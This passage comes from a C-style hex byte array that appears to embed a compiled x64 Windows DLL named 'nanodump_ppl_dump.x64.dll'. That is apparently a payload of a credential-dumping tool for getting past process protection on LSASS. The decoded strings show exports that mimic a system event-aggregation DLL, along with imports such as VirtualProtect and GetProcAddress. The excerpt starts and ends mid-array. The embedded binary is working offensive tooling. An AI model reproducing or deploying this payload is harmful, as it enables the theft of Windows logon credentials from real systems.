0,0x00,0x01,0x08,0x03,0x05,0x08,0x92,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x0B,0x04,0x55,0x0B,0x03,0x06,0xA2,0x02,0x30,0x01,0x50,0x01,0x12,0x06,0x85,0x12,0x03,0x0A,0x01,0x8E,0x00,0x03,0x30,0x02,0x70,0x01,0x50,0x01,0x08,0x03,0x05,0x08,0xD2,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0xB2,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x72,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x72,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x10,0x04,0x85,0x10,0x03,0x08,0x01,0x74,0x00,0x01,0x50,0x01,0x00,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x32,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x72,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x12,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x11,0x05,0xE5,0x11,0x03,0x09,0x01,0x1D,0x00,0x02,0x30,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x52,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x52,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x52,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x52,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x52,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x11,0x05,0xB5,0x11,0x03,0x09,0x01,0x17,0x00,0x02,0x30,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x52,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x52,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0xD2,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x0B,0x04,0x35,0x0B,0x03,0x06,0x62,0x02,0x30,0x01,0x50,0x01,0x08,0x03,0x05,0x08,0xB2,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x0B,0x04,0x05,0x0B,0x01,0x1C,0x00,0x04,0x03,0x01,0x50,0x01,0x11,0x05,0x85,0x11,0x03,0x09,0x01,0x3B,0x00,0x02,0x70,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x12,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x0B,0x04,0x05,0x0B,0x01,0x14,0x00,0x04,0x03,0x01,0x50,0x01,0x0B,0x04,0x75,0x0B,0x03,0x06,0xE2,0x02,0x30,0x01,0x50,0x01,0x08,0x03,0x05,0x08,0x52,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x11,0x05,0x85,0x11,0x03,0x09,0x01,0x89,0x00,0x02,0x70,0x01,0x50,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x32,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x04,0x02,0x05,0x04,0x03,0x01,0x50,0x01,0x04,0x02,0x05,0x04,0x03,0x01,0x50,0x01,0x04,0x02,0x05,0x04,0x03,0x01,0x50,0x01,0x04,0x02,0x05,0x04,0x03,0x01,0x50,0x01,0x04,0x02,0x05,0x04,0x03,0x01,0x50,0x01,0x04,0x02,0x05,0x04,0x03,0x01,0x50,0x01,0x04,0x02,0x05,0x04,0x03,0x01,0x50,0x01,0x04,0x02,0x05,0x04,0x03,0x01,0x50,0x01,0x04,0x02,0x05,0x04,0x03,0x01,0x50,0x01,0x04,0x02,0x05,0x04,0x03,0x01,0x50,0x01,0x08,0x03,0x05,0x08,0x32,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x0C,0x05,0x25,0x0C,0x03,0x07,0x32,0x03,0x30,0x02,0x60,0x01,0x50,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x03,0x05,0x08,0x32,0x04,0x03,0x01,0x50,0x00,0x00,0x01,0x0C,0x05,0x25,0x0C,0x03,0x07,0x32,0x03,0x30,0x02,0x60,0x01,0x50,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x0C,0x05,0x35,0x0C,0x03,0x07,0x52,0x03,0x30,0x02,0x60,0x01,0x50,0x00,0x00,0x01,0x0D,0x06,0x55,0x0D,0x03,0x08,0xA2,0x04,0x30,0x03,0x60,0x02,0x70,0x01,0x50,0x01,0x15,0x0A,0x45,0x15,0x03,0x10,0x82,0x0C,0x30,0x0B,0x60,0x0A,0x70,0x09,0xC0,0x07,0xD0,0x05,0xE0,0x03,0xF0,0x01,0x50,0x01,0x11,0x08,0x25,0x11,0x03,0x0C,0x42,0x08,0x30,0x07,0x60,0x06,0x70,0x05,0xC0,0x03,0xD0,0x01,0x50,0x01,0x0D,0x06,0x25,0x0D,0x03,0x08,0x42,0x04,0x30,0x03,0x60,0x02,0x70,0x01,0x50,0x01,0x0C,0x05,0x25,0x0C,0x03,0x07,0x32,0x03,0x30,0x02,0x60,0x01,0x50,0x00,0x00,0x01,0x0B,0x04,0x25,0x0B,0x03,0x06,0x42,0x02,0x30,0x01,0x50,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x0D,0x06,0x25,0x0D,0x03,0x08,0x42,0x04,0x30,0x03,0x60,0x02,0x70,0x01,0x50,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x0C,0x05,0x35,0x0C,0x03,0x07,0x52,0x03,0x30,0x02,0x60,0x01,0x50,0x00,0x00,0x01,0x0C,0x05,0x35,0x0C,0x03,0x07,0x52,0x03,0x30,0x02,0x60,0x01,0x50,0x00,0x00,0x01,0x0B,0x04,0x25,0x0B,0x03,0x06,0x42,0x02,0x30,0x01,0x50,0x01,0x00,0x00,0x00,0x01,0x0F,0x07,0x25,0x0F,0x03,0x0A,0x32,0x06,0x30,0x05,0x60,0x04,0x70,0x03,0xC0,0x01,0x50,0x00,0x00,0x01,0x0D,0x06,0x25,0x0D,0x03,0x08,0x42,0x04,0x30,0x03,0x60,0x02,0x70,0x01,0x50,0x01,0x0F,0x07,0x25,0x0F,0x03,0x0A,0x32,0x06,0x30,0x05,0x60,0x04,0x70,0x03,0xC0,0x01,0x50,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x96,0x79,0x7A,0x68,0x00,0x00,0x00,0x00,0x96,0x80,0x01,0x00,0x01,0x00,0x00,0x00,0x0B,0x00,0x00,0x00,0x0B,0x00,0x00,0x00,0x28,0x80,0x01,0x00,0x54,0x80,0x01,0x00,0x80,0x80,0x01,0x00,0x35,0xDE,0x00,0x00,0x3C,0xDE,0x00,0x00,0xDE,0xDD,0x00,0x00,0x4A,0xDE,0x00,0x00,0x6D,0xDE,0x00,0x00,0x58,0xDE,0x00,0x00,0x43,0xDE,0x00,0x00,0x66,0xDE,0x00,0x00,0x5F,0xDE,0x00,0x00,0x51,0xDE,0x00,0x00,0x2E,0xDE,0x00,0x00,0xB0,0x80,0x01,0x00,0xC7,0x80,0x01,0x00,0xDE,0x80,0x01,0x00,0xE6,0x80,0x01,0x00,0xFD,0x80,0x01,0x00,0x14,0x81,0x01,0x00,0x2E,0x81,0x01,0x00,0x46,0x81,0x01,0x00,0x5E,0x81,0x01,0x00,0x7E,0x81,0x01,0x00,0x9F,0x81,0x01,0x00,0x00,0x00,0x01,0x00,0x02,0x00,0x03,0x00,0x04,0x00,0x05,0x00,0x06,0x00,0x07,0x00,0x08,0x00,0x09,0x00,0x0A,0x00,0x6E,0x61,0x6E,0x6F,0x64,0x75,0x6D,0x70,0x5F,0x70,0x70,0x6C,0x5F,0x64,0x75,0x6D,0x70,0x2E,0x78,0x36,0x34,0x2E,0x64,0x6C,0x6C,0x00,0x42,0x72,0x69,0x43,0x72,0x65,0x61,0x74,0x65,0x42,0x72,0x6F,0x6B,0x65,0x72,0x65,0x64,0x45,0x76,0x65,0x6E,0x74,0x00,0x42,0x72,0x69,0x44,0x65,0x6C,0x65,0x74,0x65,0x42,0x72,0x6F,0x6B,0x65,0x72,0x65,0x64,0x45,0x76,0x65,0x6E,0x74,0x00,0x44,0x6C,0x6C,0x4D,0x61,0x69,0x6E,0x00,0x45,0x41,0x43,0x72,0x65,0x61,0x74,0x65,0x41,0x67,0x67,0x72,0x65,0x67,0x61,0x74,0x65,0x45,0x76,0x65,0x6E,0x74,0x00,0x45,0x41,0x44,0x65,0x6C,0x65,0x74,0x65,0x41,0x67,0x67,0x72,0x65,0x67,0x61,0x74,0x65,0x45,0x76,0x65,0x6E,0x74,0x00,0x45,0x41,0x51,0x75,0x65,0x72,0x79,0x41,0x67,0x67,0x72,0x65,0x67,0x61,0x74,0x65,0x45,0x76,0x65,0x6E,0x74,0x44,0x61,0x74,0x61,0x00,0x45,0x61,0x43,0x72,0x65,0x61,0x74,0x65,0x41,0x67,0x67,0x72,0x65,0x67,0x61,0x74,0x65,0x64,0x45,0x76,0x65,0x6E,0x74,0x00,0x45,0x61,0x44,0x65,0x6C,0x65,0x74,0x65,0x41,0x67,0x67,0x72,0x65,0x67,0x61,0x74,0x65,0x64,0x45,0x76,0x65,0x6E,0x74,0x00,0x45,0x61,0x46,0x72,0x65,0x65,0x41,0x67,0x67,0x72,0x65,0x67,0x61,0x74,0x65,0x64,0x45,0x76,0x65,0x6E,0x74,0x50,0x61,0x72,0x61,0x6D,0x65,0x74,0x65,0x72,0x73,0x00,0x45,0x61,0x51,0x75,0x65,0x72,0x79,0x41,0x67,0x67,0x72,0x65,0x67,0x61,0x74,0x65,0x64,0x45,0x76,0x65,0x6E,0x74,0x50,0x61,0x72,0x61,0x6D,0x65,0x74,0x65,0x72,0x73,0x00,0x4C,0x6F,0x67,0x6F,0x6E,0x55,0x73,0x65,0x72,0x45,0x78,0x45,0x78,0x57,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x90,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x8C,0x96,0x01,0x00,0xF0,0x91,0x01,0x00,0xE0,0x90,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x97,0x01,0x00,0x90,0x92,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xA0,0x93,0x01,0x00,0x00,0x00,0x00,0x00,0xB0,0x93,0x01,0x00,0x00,0x00,0x00,0x00,0xC8,0x93,0x01,0x00,0x00,0x00,0x00,0x00,0xE0,0x93,0x01,0x00,0x00,0x00,0x00,0x00,0xF0,0x93,0x01,0x00,0x00,0x00,0x00,0x00,0x04,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0x16,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0x28,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0x38,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0x44,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0x50,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0x6C,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0x84,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0x92,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0x9E,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0xA6,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0xB4,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0xC6,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0xD6,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE6,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0xF4,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0x02,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x0E,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x16,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x20,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x2A,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x38,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x46,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x52,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x5A,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x64,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x6C,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x76,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x82,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x8C,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x96,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0xA0,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0xA8,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0xB2,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0xBA,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0xC4,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0xCE,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0xD8,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0xE2,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0xEC,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0xF8,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x02,0x96,0x01,0x00,0x00,0x00,0x00,0x00,0x0C,0x96,0x01,0x00,0x00,0x00,0x00,0x00,0x16,0x96,0x01,0x00,0x00,0x00,0x00,0x00,0x20,0x96,0x01,0x00,0x00,0x00,0x00,0x00,0x2A,0x96,0x01,0x00,0x00,0x00,0x00,0x00,0x36,0x96,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xA0,0x93,0x01,0x00,0x00,0x00,0x00,0x00,0xB0,0x93,0x01,0x00,0x00,0x00,0x00,0x00,0xC8,0x93,0x01,0x00,0x00,0x00,0x00,0x00,0xE0,0x93,0x01,0x00,0x00,0x00,0x00,0x00,0xF0,0x93,0x01,0x00,0x00,0x00,0x00,0x00,0x04,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0x16,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0x28,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0x38,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0x44,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0x50,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0x6C,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0x84,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0x92,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0x9E,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0xA6,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0xB4,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0xC6,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0xD6,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE6,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0xF4,0x94,0x01,0x00,0x00,0x00,0x00,0x00,0x02,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x0E,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x16,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x20,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x2A,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x38,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x46,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x52,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x5A,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x64,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x6C,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x76,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x82,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x8C,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x96,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0xA0,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0xA8,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0xB2,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0xBA,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0xC4,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0xCE,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0xD8,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0xE2,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0xEC,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0xF8,0x95,0x01,0x00,0x00,0x00,0x00,0x00,0x02,0x96,0x01,0x00,0x00,0x00,0x00,0x00,0x0C,0x96,0x01,0x00,0x00,0x00,0x00,0x00,0x16,0x96,0x01,0x00,0x00,0x00,0x00,0x00,0x20,0x96,0x01,0x00,0x00,0x00,0x00,0x00,0x2A,0x96,0x01,0x00,0x00,0x00,0x00,0x00,0x36,0x96,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x26,0x00,0x41,0x74,0x74,0x61,0x63,0x68,0x43,0x6F,0x6E,0x73,0x6F,0x6C,0x65,0x00,0x19,0x01,0x44,0x65,0x6C,0x65,0x74,0x65,0x43,0x72,0x69,0x74,0x69,0x63,0x61,0x6C,0x53,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x3D,0x01,0x45,0x6E,0x74,0x65,0x72,0x43,0x72,0x69,0x74,0x69,0x63,0x61,0x6C,0x53,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x00,0x74,0x02,0x47,0x65,0x74,0x4C,0x61,0x73,0x74,0x45,0x72,0x72,0x6F,0x72,0x00,0x00,0x8C,0x02,0x47,0x65,0x74,0x4D,0x6F,0x64,0x75,0x6C,0x65,0x48,0x61,0x6E,0x64,0x6C,0x65,0x57,0x00,0x00,0xC4,0x02,0x47,0x65,0x74,0x50,0x72,0x6F,0x63,0x41,0x64,0x64,0x72,0x65,0x73,0x73,0x00,0x00,0xCA,0x02,0x47,0x65,0x74,0x50,0x72,0x6F,0x63,0x65,0x73,0x73,0x48,0x65,0x61,0x70,0x00,0x00,0xE8,0x02,0x47,0x65,0x74,0x53,0x74,0x64,0x48,0x61,0x6E,0x64,0x6C,0x65,0x00,0x00,0x5D,0x03,0x48,0x65,0x61,0x70,0x41,0x6C,0x6C,0x6F,0x63,0x00,0x63,0x03,0x48,0x65,0x61,0x70,0x46,0x72,0x65,0x65,0x00,0x00,0x7A,0x03,0x49,0x6E,0x69,0x74,0x69,0x61,0x6C,0x69,0x7A,0x65,0x43,0x72,0x69,0x74,0x69,0x63,0x61,0x6C,0x53,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0xD6,0x03,0x4C,0x65,0x61,0x76,0x65,0x43,0x72,0x69,0x74,0x69,0x63,0x61,0x6C,0x53,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x00,0xE3,0x03,0x4C,0x6F,0x63,0x61,0x6C,0x41,0x6C,0x6C,0x6F,0x63,0x00,0x00,0xE8,0x03,0x4C,0x6F,0x63,0x61,0x6C,0x46,0x72,0x65,0x65,0x00,0x7F,0x05,0x53,0x6C,0x65,0x65,0x70,0x00,0xA2,0x05,0x54,0x6C,0x73,0x47,0x65,0x74,0x56,0x61,0x6C,0x75,0x65,0x00,0xD1,0x05,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x00,0x00,0xD3,0x05,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x51,0x75,0x65,0x72,0x79,0x00,0x00,0x11,0x06,0x57,0x72,0x69,0x74,0x65,0x43,0x6F,0x6E,0x73,0x6F,0x6C,0x65,0x41,0x00,0x54,0x00,0x5F,0x5F,0x69,0x6F,0x62,0x5F,0x66,0x75,0x6E,0x63,0x00,0x00,0x78,0x00,0x5F,0x61,0x6D,0x73,0x67,0x5F,0x65,0x78,0x69,0x74,0x00,0x00,0x1D,0x01,0x5F,0x69,0x6E,0x69,0x74,0x74,0x65,0x72,0x6D,0x00,0x83,0x01,0x5F,0x6C,0x6F,0x63,0x6B,0x00,0xB3,0x02,0x5F,0x74,0x69,0x6D,0x65,0x36,0x34,0x00,0xCA,0x02,0x5F,0x75,0x6E,0x6C,0x6F,0x63,0x6B,0x00,0xE2,0x02,0x5F,0x76,0x73,0x63,0x70,0x72,0x69,0x6E,0x74,0x66,0x00,0x00,0xE8,0x02,0x5F,0x76,0x73,0x6E,0x70,0x72,0x69,0x6E,0x74,0x66,0x00,0x00,0x0B,0x03,0x5F,0x77,0x63,0x73,0x69,0x63,0x6D,0x70,0x00,0x00,0x87,0x03,0x61,0x62,0x6F,0x72,0x74,0x00,0x98,0x03,0x63,0x61,0x6C,0x6C,0x6F,0x63,0x00,0x00,0xC0,0x03,0x66,0x72,0x65,0x65,0x00,0x00,0xCD,0x03,0x66,0x77,0x72,0x69,0x74,0x65,0x00,0x00,0x00,0x04,0x6D,0x62,0x73,0x74,0x6F,0x77,0x63,0x73,0x00,0x00,0x04,0x04,0x6D,0x65,0x6D,0x63,0x6D,0x70,0x00,0x00,0x05,0x04,0x6D,0x65,0x6D,0x63,0x70,0x79,0x00,0x00,0x07,0x04,0x6D,0x65,0x6D,0x73,0x65,0x74,0x00,0x00,0x19,0x04,0x72,0x61,0x6E,0x64,0x00,0x00,0x1A,0x04,0x72,0x65,0x61,0x6C,0x6C,0x6F,0x63,0x00,0x2E,0x04,0x73,0x72,0x61,0x6E,0x64,0x00,0x35,0x04,0x73,0x74,0x72,0x63,0x6D,0x70,0x00,0x00,0x3C,0x04,0x73,0x74,0x72,0x6C,0x65,0x6E,0x00,0x00,0x3F,0x04,0x73,0x74,0x72,0x6E,0x63,0x6D,0x70,0x00,0x40,0x04,0x73,0x74,0x72,0x6E,0x63,0x70,0x79,0x00,0x43,0x04,0x73,0x74,0x72,0x72,0x63,0x68,0x72,0x00,0x60,0x04,0x76,0x66,0x70,0x72,0x69,0x6E,0x74,0x66,0x00,0x00,0x7A,0x04,0x77,0x63,0x73,0x6C,0x65,0x6E,0x00,0x00,0x7B,0x04,0x77,0x63,0x73,0x6E,0x63,0x61,0x74,0x00,0x7E,0x04,0x77,0x63,0x73,0x6E,0x63,0x70,0x79,0x00,0x82,0x04,0x77,0x63,0x73,0x72,0x63,0x68,0x72,0x00,0x85,0x04,0x77,0x63,0x73,0x73,0x74,0x72,0x00,0x00,0x8A,0x04,0x77,0x63,0x73,0x74,0x6F,0x6D,0x62,0x73,0x00,0x00,0x8C,0x04,0x77,0x63,0x73,0x74,0x6F,0x75,0x6C,0x00,0x00,0x90,0x01,0x00,0x00,0x90,0x01,0x00,0x00,0x90,0x01,0x00,0x00,0x90,0x01,0x00,0x00,0x90,0x01,0x00,0x00,0x90,0x01,0x00,0x00,0x90,0x01,0x00,0x00,0x90,0x01,0x00,0x00,0x90,0x01,0x00,0x00,0x90,0x01,0x00,0x00,0x90,0x01,0x00,0x00,0x90,0x01,0x00,0x00,0x90,0x01,0x00,0x00,0x90,0x01,0x00,0x00,0x90,0x01,0x00,0x00,0x90,0x01,0x00,0x00,0x90,0x01,0x00,0x00,0x90,0x01,0x00,0x00,0x90,0x01,0x00,0x4B,0x45,0x52,0x4E,0x45,0x4C,0x33,0x32,0x2E,0x64,0x6C,0x6C,0x00,0x00,0x00,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x14,0x90,0x01,0x00,0x6D,0x73,0x76,0x63,0x72,0x74,0x2E,0x64,0x6C,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x